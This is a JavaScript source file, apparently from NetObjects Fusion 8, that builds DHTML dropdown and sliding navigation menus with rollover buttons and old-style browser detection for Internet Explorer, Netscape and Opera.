/** 
 * Fusion 8 DHTML Menus
 */


/*****************************************
Global Parameters
*****************************************/

var GLOBAL_LoadedImages  = new Array();
var GLOBAL_CurrentItem   = "";
var GLOBAL_Close         = null;
var GLOBAL_Hide          = null;
var GLOBAL_items         = new NOF_OpenedItems();

var GLOBAL_slideItem     = null;
var GLOBAL_slideSpeed    = 10; //Defines how fast the slide submenus will unfold
var GLOBAL_slidePixel    = 0; 
var GLOBAL_slideMinOffset = -800;
var GLOBAL_slideMaxOffset = 800;

var useDebuger   = false;


/*
*  DOM compliant browsers
*/
function NOF_DOMBrowser() {

  this.getMenuItemLayerStartString = function getMenuItemLayerStartString(menuItemId, parentId) {

    parentId = ( (parentId != null) && (parentId != "undefined") && (typeof(parentId) != "undefined"))
                  ? new String(parentId + CONSTANTS.MENU_LAYER_SUFIX) : null;
    menuItemId += CONSTANTS.MENU_LAYER_SUFIX;
    
    var isAutoClose = typeof(C_MENU_AUTO_CLOSE) == "undefined" || C_MENU_AUTO_CLOSE == true ? "true" : "false";

    return '<DIV ID="' + menuItemId + '" isautoclose="' + isAutoClose + '" STYLE="z-index:5; filter:blendTrans(duration=0.5)" onmouseover="NOF_KeepOpen(\'' + menuItemId + '\', ' + parentId + ')" onmouseout="NOF_KeepClose()">';
  }

  this.getMenuItemLayerEndString = function getMenuItemLayerEndString() {
    return '</DIV>';
  }

  /** method showMenuItem
  *@parameter image Image object - item parent
  *@parameter item String or Object coresponding to a layer
  *@parameter offsetX:  horizontal offset distance from parent
  *@parameter offsetY:  vertical offset distance from parent
  *@parameter direction Horizontal = false, Vertical = true
  */
  this.showMenuItem = function showMenuItem(image, item, offsetX, offsetY, openEffect) {

    if (typeof(item) == "string")
      item   = this.getItem(item)

    image    = typeof(image) == "string" ? this.getItem(image) : image;

    var top  = this.findItemTopOffset(image);
    var left = this.findItemLeftOffset(image);

    var slideDirection = "";
    if (openEffect.indexOf("left") > -1 || openEffect.indexOf("Left") > -1 ) {
        top  += offsetY; 
        left -= offsetX;
        slideDirection = "left";
    } else if (openEffect.indexOf("top") > -1 || openEffect.indexOf("Top") > -1 ) {
        top   -= offsetY;
        left += offsetX;
        slideDirection = "top";
    } else if (openEffect.indexOf("right") > -1 || openEffect.indexOf("Right") > -1 ) {
        top  += offsetY; 
        left += offsetX;
        slideDirection = "right";
    } else { // Bottom
        top   += offsetY;
        left += offsetX;
        slideDirection = "bottom";
    }
 
    if (item == null  || typeof(item.style) == "undefined" || item.style == null )
      return;

    item.style.top  = top;
    item.style.left = left;      
    item.style.visibility = "visible"; 
    
    if (openEffect.indexOf("slide") > -1)
      this.slideEffect(item, slideDirection);
    else if (openEffect.indexOf("fade") > -1)
      this.fadeEffect(item);    
  }


  this.hideMenuItem = function hideMenuItem(item) {

    if (typeof(item) == "string")
      item = this.getItem(item)   
 
    if ( item == null || typeof(item) == "undefined" || item == "")
      return;

    item.style.visibility = "hidden";
  }

  this.findItemLeftOffset = function findItemLeftOffset(item) {

    var offset = item.offsetLeft;
    if (item.offsetParent)
      offset += this.findItemLeftOffset(item.offsetParent);

    return offset;
  }

  this.findItemTopOffset = function findItemTopOffset(item) {

    var offset = item.offsetTop;
    if (item.offsetParent)
      offset += this.findItemTopOffset(item.offsetParent);

    return offset;
  }

  this.getItem = function getItem(itemId) {    
    return document.getElementById(itemId);
  }

  this.getItemAttribute = function getItemAttribute(itemId, attrId) {
  
    if (this.getItem(itemId)) {
      var attr = this.getItem(itemId).attributes;
      return eval("attr." + attrId.toLowerCase() + ".value");
    }
  }
 
 this.debug = function debug(txt) {

    var container = this.getItem("debug");
    if ( useDebuger )
      container.value += txt + "\n";
  }

  this.fadeEffect = function fadeEffect(item) {
      
      item.style.visibility = "hidden"; 
      item.filters.blendTrans.Apply();
      item.filters.blendTrans.Play();
      item.style.visibility = "visible"; 
  }

  this.slideEffect = function slideEffect(item, margin) {

    GLOBAL_slideItem = item;
    this.setItemClip('rect(auto, auto, auto, auto)');

    GLOBAL_slidePixel = (margin == "top" || margin == "left") ? 100 : 0;
    this.playEffect(margin);
  }

  this.playEffect = function playEffect(margin) {

    var clip = GLOBAL_slideItem.style.clip;
    if (clip.indexOf("-") > 0) // NS7.x fix
      return;

    if (GLOBAL_slidePixel < GLOBAL_slideMinOffset || GLOBAL_slidePixel > GLOBAL_slideMaxOffset)     
      return;

    var rect = 'rect(';
    if (margin == "top") {
      GLOBAL_slidePixel -= 3;
      rect += GLOBAL_slidePixel +'px auto auto auto)';
    } else if (margin == "right") {
      GLOBAL_slidePixel += 3; 
      rect += 'auto ' + GLOBAL_slidePixel +'px auto auto)';
    } else if (margin == "bottom") {
      GLOBAL_slidePixel += 3;
      rect += 'auto auto ' + GLOBAL_slidePixel + 'px auto)';
    } else {//left
      GLOBAL_slidePixel -= 3;
      rect += 'auto auto auto ' + GLOBAL_slidePixel + 'px)';
    }


    this.setItemClip(rect); 
    setTimeout('browser.playEffect("' + margin + '")', GLOBAL_slideSpeed);    
  }

  this.setItemClip = function setItemClip(rect) {
    GLOBAL_slideItem.style.clip = rect; 
  }

  this.getLayerTag = function getLayerTag() { return "div" };
}


/*
*  Netscape 6+ and Mozilla
*/
function NOF_BrowserNetscapeNavigator() {

  //Event capture
  window.onclick= HideMenu;
  
  this.fadeEffect = function fadeEffect() { return; };

  // Set a higher sliding speed
  GLOBAL_slideSpeed = 1;

  return this;
}
NOF_BrowserNetscapeNavigator.prototype = new NOF_DOMBrowser;

/*
*  Internet Explorer 5+
*/
function NOF_BrowserInternetExplorer() {

  //Event capture
  document.onmouseup = HideMenu;
}
NOF_BrowserInternetExplorer.prototype = new NOF_DOMBrowser;


/*
*  Nestcape Navigator version 4.x
*/
function NOF_BrowserNetscape4x() {

  this.getMenuItemLayerStartString = function getMenuItemLayerStartString(menuItemId, parentId) {

    parentId = ( (parentId != null) && (parentId != "undefined") && (typeof(parentId) != "undefined"))
                  ? new String(parentId + CONSTANTS.MENU_LAYER_SUFIX) : null;
    menuItemId += CONSTANTS.MENU_LAYER_SUFIX;
    
    var isAutoClose = typeof(C_MENU_AUTO_CLOSE) == "undefined" || C_MENU_AUTO_CLOSE == true ? "true" : "false";

    return '<layer ID="' + menuItemId + '" isautoclose="' + isAutoClose + '" onmouseover="NOF_KeepOpen(\'' + menuItemId + '\', ' + parentId + ')" onmouseout="NOF_KeepClose()">';
  }

  this.getMenuItemLayerEndString = function getMenuItemLayerEndString() {
    return '</layer>';
  }    

  this.getImageParent = function getImageParent(imageObject){
  
    for (var position = 0; position < document.layers.length; position++) {      
      var layer = document.layers[position];
      for (var imagePosition = 0; imagePosition < layer.document.images.length; imagePosition++) {  
        if (layer.document.images[imagePosition].name == imageObject.name) {
         return layer;
        }
      }     
    }

    return null;    
  }

  /** method showMenuItem
  *@parameter image Image object - item parent
  *@parameter item String or Object coresponding to a layer
  *@parameter offsetX:  horizontal offset distance from parent
  *@parameter offsetY:  vertical offset distance from parent
  *@parameter direction Horizontal = false, Vertical = true
  */
  this.showMenuItem = function showMenuItem(image, item, offsetX, offsetY, openEffect) {

    var parent = this.getImageParent(image);

    var itemId = image;
    if (typeof(item) == "string")
      item   = this.getItem(item)
  
    image    = typeof(image) == "string" ? this.getItem(image) : image;

    var top  = this.findItemTopOffset(image);
    var left = this.findItemLeftOffset(image);

    if (parent != null) {
      left += parent.pageX;
      top += parent.pageY;
    }

    var slideDirection = "";
    if (openEffect.indexOf("left") > -1 || openEffect.indexOf("Left") > -1 ) {
        top  += offsetY; 
        left -= offsetX;
        slideDirection = "left";
    } else if (openEffect.indexOf("top") > -1 || openEffect.indexOf("Top") > -1 ) {
        top   -= offsetY;
        left += offsetX;
        slideDirection = "top";
    } else if (openEffect.indexOf("right") > -1 || openEffect.indexOf("Right") > -1 ) {
        top  += offsetY; 
        left += offsetX;
        slideDirection = "right";
    } else { // Bottom
        top   += offsetY;
        left  += offsetX;
        slideDirection = "bottom";
    }

    if (typeof(item) == "undefined")
      return;



    item.y = parseInt(top);
    item.x = parseInt(left);   
    item.visibility = "visible"; 
    
    if (openEffect.indexOf("slide") > -1)
      this.slideEffect(item, slideDirection);
    else if (openEffect.indexOf("fade") > -1) {      
      this.fadeEffect(item);
    }
  }

  this.hideMenuItem = function hideMenuItem(item) {
    if (typeof(item) == "string")
      item = this.getItem(item)
    
    if ( item == null || typeof(item) == "undefined" || item == "")
      return;

    item.visibility = "hide";
  }

  this.findItemLeftOffset = function findItemLeftOffset(item) {
    return item.x;  
  }

  this.findItemTopOffset = function findItemTopOffset(item) {
    return item.y;
  }

  this.getItem = function getItem(itemId) {    

    if (itemId == "")
      return;

    var item = eval("document.layers['" + itemId + "']");

    return item;
  }

  this.getItemAttribute = function getItemAttribute(itemId, attrId) {

    return eval("document.layers['" + itemId.toLowerCase() + "']." + attrId);
  }

  this.getLayerTag = function getLayerTag() { return "layer" };

  this.slideEffect = function slideEffect(item, margin) {

    GLOBAL_slideItem  = item;
    GLOBAL_slidePixel = (margin == "bottom" || margin == "left") ? 200 : 0;

    this.playEffect(margin);
  }

  this.playEffect = function playEffect(margin) {

    if (GLOBAL_slidePixel < GLOBAL_slideMinOffset || GLOBAL_slidePixel > GLOBAL_slideMaxOffset)
      return;
 
    if (margin == "top") {
      GLOBAL_slideItem.clip.bottom = GLOBAL_slidePixel += 1;
    } else if (margin == "right") {
      GLOBAL_slideItem.clip.right = GLOBAL_slidePixel += 1;
    } else if (margin == "bottom") {
      GLOBAL_slideItem.clip.top = GLOBAL_slidePixel -= 1;
    } else {//left
      GLOBAL_slideItem.clip.left = GLOBAL_slidePixel -= 1;
    }

    setTimeout('browser.playEffect("' + margin + '")', GLOBAL_slideSpeed);    
  }
}
NOF_BrowserNetscape4x.prototype = new NOF_DOMBrowser;


/** NOF.BrowserFactory
*@return The associate class for the browser
*/

function NOF_BrowserFactory() {

    var agt = navigator.userAgent.toLowerCase();

    var is_major = parseInt(navigator.appVersion);
    var is_minor = parseFloat(navigator.appVersion);

    var is_nav  = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1)
                && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1)
                && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
    var is_nav2 = (is_nav && (is_major == 2));
    var is_nav3 = (is_nav && (is_major == 3));
    var is_nav4 = (is_nav && (is_major == 4));
    var is_nav4up = (is_nav && (is_major >= 4));
    var is_navonly      = (is_nav && ((agt.indexOf(";nav") != -1) ||
                          (agt.indexOf("; nav") != -1)) );
    var is_nav6 = (is_nav && (is_major == 5));
    var is_nav6up = (is_nav && (is_major >= 5));
    var is_gecko = (agt.indexOf('gecko') != -1);


    var is_ie     = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1));
    var is_ie3    = (is_ie && (is_major < 4));
    var is_ie4    = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) );
    var is_ie4up  = (is_ie && (is_major >= 4));
    var is_ie5    = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) );
    var is_ie5_5  = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1));
    var is_ie5up  = (is_ie && !is_ie3 && !is_ie4);
    var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5);
    var is_ie6    = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) );
    var is_ie6up  = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5);

    var is_opera = (agt.indexOf("opera") != -1);
    var is_opera2 = (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1);
    var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1);
    var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1);
    var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1);
    var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4);

    this.getBrowser = function getBrowser() {
    
      if (is_ie5up) {   
        return new NOF_BrowserInternetExplorer();
      } 

      if (is_nav6up) {
        return new NOF_BrowserNetscapeNavigator();
      }

      if (is_opera5up) {
        return new NOF_BrowserInternetExplorer();        
      }

      if (is_nav4) {
        return new NOF_BrowserNetscape4x();
      }
    }
}

var browserFactory  = new NOF_BrowserFactory();
var browser         = browserFactory.getBrowser();



/*****************************************
NOF.Menu Constants
*****************************************/

var CONSTANTS = {
  MENU_TYPE_IMAGE : "Image",
  MENU_TYPE_TEXT  : "Text",

  BUTTON_TYPE_IMAGE : "image",
  BUTTON_TYPE_TEXT  : "text",

  MENU_TABLE_HEADER : '<table border="0" cellspacing="0" cellpadding="0">',
  MENU_TABLE_END :    '</table>',

  MOUSE_OVER_IMAGE : 1,
  MOUSE_OUT_IMAGE  : 2,

  MENU_ITEM_HORIZONTAL : false,
  MENU_ITEM_VERTICAL   : true,

  MENU_LAYER_SUFIX : "LYR",

  NOT_A_MAIN_ITEM : 1,
  
  MENU_REFRESH_TIME : 600
}

/** 
* NOF_Menu
*/
function NOF_Menu() {
  return this;
}


/** 
* NOF_Menu_Item
*/
function NOF_Menu_Item() {

  this.id           = arguments[0]; //div id

  this.orientation  = arguments[1];
  this.openEffect   = arguments[2];
  this.offsetX      = arguments[3];
  this.offsetY      = arguments[4];

  this.buttons = new Array();
  
  this.submenuHeight = 0;
  for (var i = 5; i < arguments.length; i++)
    this.buttons[i - 5] = arguments[i];


  this.getPosition = function () {
    return new Array(this.offsetX, this.offsetY);
  }


  this.getOffsetX = function getOffsetX() { return this.offsetX;}
  this.getOffsetY = function getOffsetY() { return this.offsetY;}
  this.getOpenEffect = function getOffsetY() { return this.openEffect;}
  this.getOrientation = function getOrientation() { return this.orientation; }

  return this;
}


/** 
@name NOF_Menu_Button
@parameter normal   : image name (src) or text (link value), depending on button type : image or text.
@parameter rollover : rollover image name or css attributes, depending on button type : image or text.
@parameter submenu  : a NOF_Menu_Item instance.
*/
function NOF_Menu_Button(link, normal, rollover, submenu) {

  this.link     = link;
  this.normal   = normal;
  this.rollover = rollover != "" ? rollover : normal;
  this.submenu  = submenu;

  this.hasSubmenu = function hasSubmenu() {
    return (this.submenu != null)
  }

  this.type = function type() {
    if (typeof(this.rollover) == "object")
      return CONSTANTS.BUTTON_TYPE_TEXT;
    else if (typeof(this.rollover) == "string")
      return CONSTANTS.BUTTON_TYPE_IMAGE;
    else 
      return null;
  }
  return this;
}


/** 
*@name NOF_Main_Menu
*@description Menu generation - HTML code insertion in page
*@parameter NOF_Menu_Item menuItem
*@parameter parentId (another NOF_Menu_Item) of NOF_Menu_Item menuItem
*/
function NOF_Main_Menu(menuItem, parentId) {

  if(typeof(menuItem) == "undefined")
    return;

  var menuItemId        = menuItem.id;
  var buffer            = browser.getMenuItemLayerStartString(menuItemId, parentId) + '<table width="10" border="' + C_MENU_BORDER + '" cellspacing="' + C_MENU_SPACING + '" cellpadding="0" bgcolor="' + C_MENU_BGCOLOR + '">';
  var i                 = 0;

  buffer += '<tr>';
  while (i < menuItem.buttons.length) {
    var menuButton      = menuItem.buttons[i];
    if (menuButton == null) // If page is excluded from navigation then  button is 'null'
      return;

    var submenuId = "";
 
    if (menuButton.hasSubmenu() && menuButton.submenu) {
      submenuId = menuButton.submenu.id;
    }

    var link            = menuButton.link; // Link to Page
    var image           = menuButton.normal; // Image - menu cell
    var rollOverButton  = menuButton.rollover; // Roll over image - loaded onmouseover, 
    var isImageMenu     = menuButton.type() == CONSTANTS.BUTTON_TYPE_IMAGE ? true : false;
    var imageName       = isImageMenu ? menuItemId + 's' + i : 'NavigationButton_' + menuItemId + '_' + i;
    var isVertical      = menuItem.orientation == "vertical" ? true : false;

    // Extract link target and href
    var target          = '';
    if (link.indexOf(' target=') != -1) {
      target            = link.substr(link.indexOf(' target=') + 8);
      link              = link.substr(0, link.indexOf(' target='));
    }

    // Append buttons on vertical or horizontal
    buffer += (isVertical && i > 1) ? '<tr><td>' : '<td>';

    // Append button link and mouse over event
    buffer += '<a style="text-decoration:none; cursor:hand;" href="' + link + '" ';
    buffer += 'onMouseOver="F_roll(\'' + imageName + '\' ,' + CONSTANTS.MOUSE_OVER_IMAGE + ', \'' + menuItemId + '\', \''+ 
                              CONSTANTS.NOT_A_MAIN_ITEM + '\')" onMouseOut="F_roll(\'' + imageName + '\' ,' + 
                              CONSTANTS.MOUSE_OUT_IMAGE + ', \''+menuItemId+'\', \'' + CONSTANTS.NOT_A_MAIN_ITEM + '\')"';

    // Append button link target
    buffer += target.length ? ' target="' + target + '">' : '>';   

    // If button is image then append <img> tag, otherwise append <div>
    buffer += isImageMenu ? '<img border="0" src="' + image + '"' : '<' + browser.getLayerTag() + ' ';

    if (typeof(rollOverButton) != "undefined" || rollOverButton.length || !isImageMenu) {
      // This item has a submenu
      if (submenuId != "") {
        var submenu = menuButton.submenu;
        if (isImageMenu) {
          buffer += 'id="' + imageName + '" name="' + imageName + 
                    '" onLoad="F_loadRollover(this,\'' + rollOverButton + '\', new Array(\'' + submenuId + '\',\'' + submenu.getOrientation() + '\' , \'' + submenu.getOpenEffect() + '\', ' + submenu.getOffsetX() + ',' + submenu.getOffsetY() + '))"';
        } else {
          NOF_MenuLoadRollOver(imageName, rollOverButton, new Array(submenuId, submenu.getOrientation(), submenu.getOpenEffect(), submenu.getOffsetX(), submenu.getOffsetY() ));          
          buffer += 'id="' + imageName + '" name="' + imageName + '" class="' + imageName +  '" ' ;

          // Text menu has inline css
          if (typeof(menuButton.rollover) == "object")
            buffer+= ' style="' + rollOverButton[0] + '"'; 
        }
      } 
      // No submenu, simple rollover
      else {
        if (isImageMenu)
          buffer += 'id="' + imageName + '" name="' + imageName + 
                    '" onLoad="F_loadRollover(this,\'' + rollOverButton + '\',0)"';
        else {
          NOF_MenuLoadRollOver(imageName, rollOverButton, 0);
          buffer += 'id="' + imageName + '" name="' + imageName + '" class="' + imageName + '" ';
          // Text menu has inline css
          if (typeof(menuButton.rollover) == "object")
            buffer+= ' style="' + rollOverButton[0] +'"';
        }
      }
    } 

    // For text buttons 'image' is the name appears on it. 
    buffer += isImageMenu ? '></a></td>' : 
                      '><' + browser.getLayerTag() + ' id="' + imageName + '_padding" style="padding:' + rollOverButton[1] + '" padding="' + rollOverButton[1] + '" paddingOver="' + rollOverButton[3] + '">'  + image + 
                      '</' + browser.getLayerTag() + '></' + browser.getLayerTag() + '></a></td>'; 
    buffer += isVertical ? "</tr>" : "";

    i++; 
  }

  buffer += CONSTANTS.MENU_TABLE_END + browser.getMenuItemLayerEndString();
  document.writeln(buffer);  

  var k = 0;
  while (k < menuItem.buttons.length) {
    if (menuItem.buttons[k].hasSubmenu()) {
      NOF_Main_Menu(menuItem.buttons[k].submenu, menuItem.id);      
    }
    k++;
  }
}



/** 
*@name NOF.MenuLoadRollOverImage
*@parameter button:
*@parameter buttonName: 
*@parameter submenu: Array(int offsetX, int offsetY, String submenuId, boolean ??).
*/
function NOF_MenuLoadRollOver(button, buttonName, submenu) {

  // Check if button is image
  if (button && button.src &&
          (null == button.out || typeof(button.out) == typeof(void(0)))) {


    var imageSrc   = button.src;
    button.out     = new Image();
    button.out.src = imageSrc;
    button.over    = new Image();


    if (buttonName.lastIndexOf('/') >= 0 || buttonName.lastIndexOf('\\') >= 0) {
      imageSrc = buttonName;
    } else {
      var i = imageSrc.lastIndexOf('/');
      if (i < 0) 
          i = imageSrc.lastIndexOf('\\');
      if (i < 0)
          imageSrc = buttonName;
      else   
          imageSrc = imageSrc.substring(0, i + 1) + buttonName;
    }

    button.over.src                  = imageSrc;
    button.submenu                   = submenu;   
    GLOBAL_LoadedImages[button.name] = button;

  // Button is text
  } else {    
      if (typeof(buttonName) == "object") {
        if (typeof(GLOBAL_LoadedImages[button]) == "undefined") {
          GLOBAL_LoadedImages[button + "Normal"]  = buttonName[0];
          GLOBAL_LoadedImages[button + "Over"]    = buttonName[2];  
          GLOBAL_LoadedImages[button]             = submenu;  
        }
        return;
      }
      if (typeof(submenu) != "undefined"  && typeof(button) == "string" && typeof(GLOBAL_LoadedImages[button]) == "undefined") 
          GLOBAL_LoadedImages[button]  = submenu;           
  }
}


/** 
*@name NOF.MenuRollButton
*@description Show rollover cell
*@parameter buttonName: image name
*@parameter over: 1 means mouse over (load rollverimage) , 0 means mouseout (load original image).
*/
function NOF_MenuRollButton(buttonName, over, layerId, isNotMainItem) { 

    var rollType    = (over == CONSTANTS.MOUSE_OVER_IMAGE) ? "over" : "out"; // Defined in NOF_MenuLoadRollOver
    var isOver      = (over == CONSTANTS.MOUSE_OVER_IMAGE) ? true : false;
    var rollOver    = GLOBAL_LoadedImages[buttonName];
  
    if (typeof(rollOver) == "undefined")
      return;
  
    var menuType = typeof(rollOver.src) == "undefined" ? CONSTANTS.MENU_TYPE_TEXT : 
                                                         CONSTANTS.MENU_TYPE_IMAGE;
    
    if (menuType == CONSTANTS.MENU_TYPE_IMAGE) { // Image menu
      var imageRollSrcString  = "rollOver." + rollType + ".src"; 
      if (rollOver) 
         rollOver.src = eval(imageRollSrcString) ? eval(imageRollSrcString) : "";     
    
    } else if (menuType == CONSTANTS.MENU_TYPE_TEXT){ // Text menu             
        if (typeof(buttonName) == "string") {
          browser.getItem(buttonName).className = isOver ? buttonName + "Hover" : buttonName;
      
          if (browser.getItem(buttonName + "_padding")){
              browser.getItem(buttonName + "_padding").style.padding = isOver ? 
                              browser.getItem(buttonName + "_padding").paddingOver : 
                              browser.getItem(buttonName + "_padding").padding;
          }
  
          if (typeof(browser.getItem(buttonName).style) != "undefined")
            browser.getItem(buttonName).style.cssText = isOver ? 
                            GLOBAL_LoadedImages[buttonName + "Over"] : 
                            GLOBAL_LoadedImages[buttonName + "Normal"]; 
        }
  
    } else // Undefined menu type
        return;
  
    if ((isNotMainItem == null || typeof(isNotMainItem) == "undefined" ) && over == CONSTANTS.MOUSE_OUT_IMAGE) {   
      GLOBAL_CurrentItem = "";
      GLOBAL_items.removeAll();    
    }
      
    var hasSubmenu = null;
    if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
      hasSubmenu = rollOver.submenu;
    else if (menuType == CONSTANTS.MENU_TYPE_TEXT)
      hasSubmenu = typeof(rollOver) == "object";
  
    if (hasSubmenu) {
      if (over == CONSTANTS.MOUSE_OVER_IMAGE) {
        if ( layerId && typeof(layerId) != "undefined" && layerId != "null") {
          if (GLOBAL_Close != null)
            clearTimeout(GLOBAL_Close);
          GLOBAL_items.removeSubitems(layerId + CONSTANTS.MENU_LAYER_SUFIX);
        } else
          GLOBAL_items.removeAll();
  
        if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
          NOF_MenuOpenItem(rollOver, rollOver.submenu, layerId);
        else
          NOF_MenuOpenItem(buttonName, rollOver, layerId); 
      }
      else { // MOUSE_OUT_IMAGE
        if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
          NOF_MenuCloseItem(rollOver.submenu);
        else
          NOF_MenuCloseItem(rollOver);
      }
    
    } else if (over == CONSTANTS.MOUSE_OVER_IMAGE ) { // This image doesn't have a submenu, only a rollover button      
        if ( layerId && typeof(layerId) != "undefined" && layerId != "null" ) {
          GLOBAL_CurrentItem = layerId + CONSTANTS.MENU_LAYER_SUFIX;
          GLOBAL_items.removeSubitems(GLOBAL_CurrentItem);
        } else // Only for html - always visible - menu part        
            browser.hideMenuItem(GLOBAL_CurrentItem);
    }
}


/** 
*@name NOF.MenuOpenItem
*@description Opens (visibility = 'visible') one menu item
*@parameter image Image object that is parent for this submenu
*@parameter imageSubmenu : Array(offset, layerId, horizontal) :
*      offsetX - distance from parent left
*      offsetY - distance from parent top
*      layerId - layer ID that will be opened
*      horizontal - indicates if it's horizontal or vertical. True = vertical, False = horizontal
*@parameter parentId
*@parameter
*/
function NOF_MenuOpenItem(image, submenu, parentId) {

  var layerId       = submenu[0] + CONSTANTS.MENU_LAYER_SUFIX; 
  var orientation   = submenu[1];
  var openEffect    = submenu[2];
  var offsetX       = submenu[3];
  var offsetY       = submenu[4];

  GLOBAL_items.addItem(layerId, parentId);
  GLOBAL_CurrentItem = layerId; // Current opened layer 

  browser.showMenuItem(image, layerId, offsetX, offsetY, openEffect);
}


/** 
*@name NOF.MenuCloseItem
*@description Close a menu item if mouse is out of it but not on his child.
*@parameter
*/
function NOF_MenuCloseItem(imageSubmenu) {

  if (imageSubmenu[0]) {
    var layerId  = imageSubmenu[0] + CONSTANTS.MENU_LAYER_SUFIX; 
  
    // If mouse outside a cell that belongs to main menu (root) - close it
    if (GLOBAL_items.toArray().length == 1)
      GLOBAL_CurrentItem = 0;
  
    GLOBAL_Close = setTimeout("NOF_MenuHideItem('" + layerId + "')", CONSTANTS.MENU_REFRESH_TIME/4);
  }
}


/** 
*@name NOF.MenuHideItem
*@description 
*@parameter itemId 
*/
function NOF_MenuHideItem(itemId) {

  if (itemId && itemId != null && GLOBAL_CurrentItem != itemId) { // Close item if mouse not over it
    browser.hideMenuItem(itemId);
  }
}


/** 
*@name NOF_KeepOpen
*@description Keeps a menu item (child) opened when mouse over it
*@parameter item Layer (Div) object
*/
function NOF_KeepOpen(itemId, parentId) {    

  GLOBAL_CurrentItem = itemId;
  if (GLOBAL_Hide != null)
    for (var i = 0; i < GLOBAL_Hide.length; i++)  
      clearTimeout(GLOBAL_Hide[i]);
}


/** 
*@name NOF_KeepClose
*@description Keeps a menu item (child) closed when mouse out of it
*/
function NOF_KeepClose() {  

  GLOBAL_CurrentItem = "";
  setTimeout("NOF_CloseChilds()", CONSTANTS.MENU_REFRESH_TIME);
}


/** 
*@name NOF_CloseChilds
*@description Close submenus when mouse goes out of layer
*/
function NOF_CloseChilds() {

  var itemsList = GLOBAL_items.toArray();
  GLOBAL_Hide   = new Array();  
  if (GLOBAL_CurrentItem == "" || GLOBAL_CurrentItem == 0)    
    for (var i in itemsList)
      if (itemsList[i])
        GLOBAL_Hide[i] = setTimeout("browser.hideMenuItem('" + itemsList[i] + "')", CONSTANTS.MENU_REFRESH_TIME/4);               

  if (!isMenuAutoClose()) {
    itemsList = GLOBAL_items.toArray();

    // Keep visible current opened submenus
    for ( var i in itemsList ) 
      if (itemsList[i])
        NOF_KeepOpen(itemsList[i]);      
  }  
}

function isMenuAutoClose() {

  var itemsList = GLOBAL_items.toArray();
  if  (itemsList[0] && itemsList[0].length) {
   var autoClose = browser.getItemAttribute(itemsList[0], "isautoclose");
     if ( autoClose == "true")
       return true;
     else 
       return false;
  }
  return false;   
}

/**
*@name HideMenu()
*@description Hide menu when click outside his area. Used in 'Non auto close navbars'.
*/
function HideMenu() {
  
  if (isMenuAutoClose())
    return;

  var itemsList = GLOBAL_items.toArray();

  if (GLOBAL_Hide == null)
    GLOBAL_Hide = new Array();
 
  for (var i in itemsList)
    if (itemsList[i] && itemsList[i].length) {
      GLOBAL_items.removeItem(itemsList[i]);     
      GLOBAL_Hide[i] = browser.hideMenuItem(itemsList[i]);        
    }
}


/**
*@name NOF_OpenedItems()  
*@description Keeps a list w/ current submenus open (visible)
*/
function NOF_OpenedItems() {

  this.openedItems = "";
  this.separator   = "*";

  /** method addItem
  *@description: adds one item in list using "*" separator
  */
  this.addItem = function addItem(item, parent) {

    if ( item == null || !item || item == "" )
      return;
  
    if (this.openedItems.indexOf(item) == -1) {

      this.openedItems += this.openedItems.length ? 
          ( this.openedItems.indexOf(this.separator) == this.openedItems.length - 1 ? "" : this.separator ) + item : 
          item;    
    }   
  }
  

  /** method removeItem
  *@description: remove one item
  */
  this.removeItem = function removeItem(item) { 
   
    if ( item == GLOBAL_CurrentItem )
      return;

    var temp = this.openedItems;
    if (temp.indexOf(item) > 0) {
      var a = temp.substring(0, temp.indexOf(item));
      var b = temp.substring(temp.indexOf(item) + item.length, temp.length );
      temp = a + b;
    }

    while (temp.lastIndexOf(this.separator) == temp.length - 1)
      temp = temp.substring(0, temp.length - 1);

    this.openedItems = temp;   
  }


  /** method removeSubitems
  *@description: remove all subitems (items above) 'item' 
  */
  this.removeSubitems = function removeSubitems(item) {
    
    if (item && typeof(item) != "undefined") {    
      var temp  = this.openedItems;
      temp      = temp.substring(0, temp.lastIndexOf(item) + item.length);  
      var temp1 = this.openedItems.substring(this.openedItems.indexOf(temp) + temp.length, this.openedItems.length);
      temp1 = temp1.split(this.separator);
  
      for (var i =  temp1.length - 1; i >= 0; i--)
         if (temp1[i])
           browser.hideMenuItem(temp1[i]);
  
      this.openedItems = temp;
    }
  }

  /** method currentItem
  *@description: return current item
  */
  this.currentItem = function currentItem() {

    var list = this.toArray();
    return list[list.length - 1];
  }

  /** method removeAll
  *@description: remove all items and hide them
  */
  this.removeAll = function removeAll() {

    var items = this.toArray();
    clearTimeout(GLOBAL_Close);
    for (var i = items.length - 1; i >= 0; i--)
      if ( items[i] != null && items[i] != "" ) {
        clearTimeout(items[i]);
        browser.hideMenuItem(items[i]);
      }

    this.openedItems = "";    
  }

  /** method toArray
  *@description: return an array with all items using split method by list separator
  */
  this.toArray = function toArray() {
    return this.openedItems.split(this.separator);
  }  
}


/**
*@name F_menu()
*@description backward compatibility
*/
function F_menu(item) {
  NOF_Menu(item);
}

/**
*@name F_roll()
*@description backward compatibility
*/
function F_roll(itemId, over, layerId, isNotMainItem){

  var layerId = (layerId == null || typeof(layerId) == "undefined") ? null : layerId;
  var isNotMainItem = (isNotMainItem == null || typeof(isNotMainItem) == "undefined") ? null : isNotMainItem;

  NOF_MenuRollButton(itemId, over, layerId, isNotMainItem);
}

/** F_loadRollover
*@param image
*@param submenu: Array(String submenuId, submenuOrientation, int offsetX, int offsetY).
*/
function F_loadRollover(image, rollOverButton, submenu) { 
  return NOF_MenuLoadRollOver(image, rollOverButton, submenu);
}


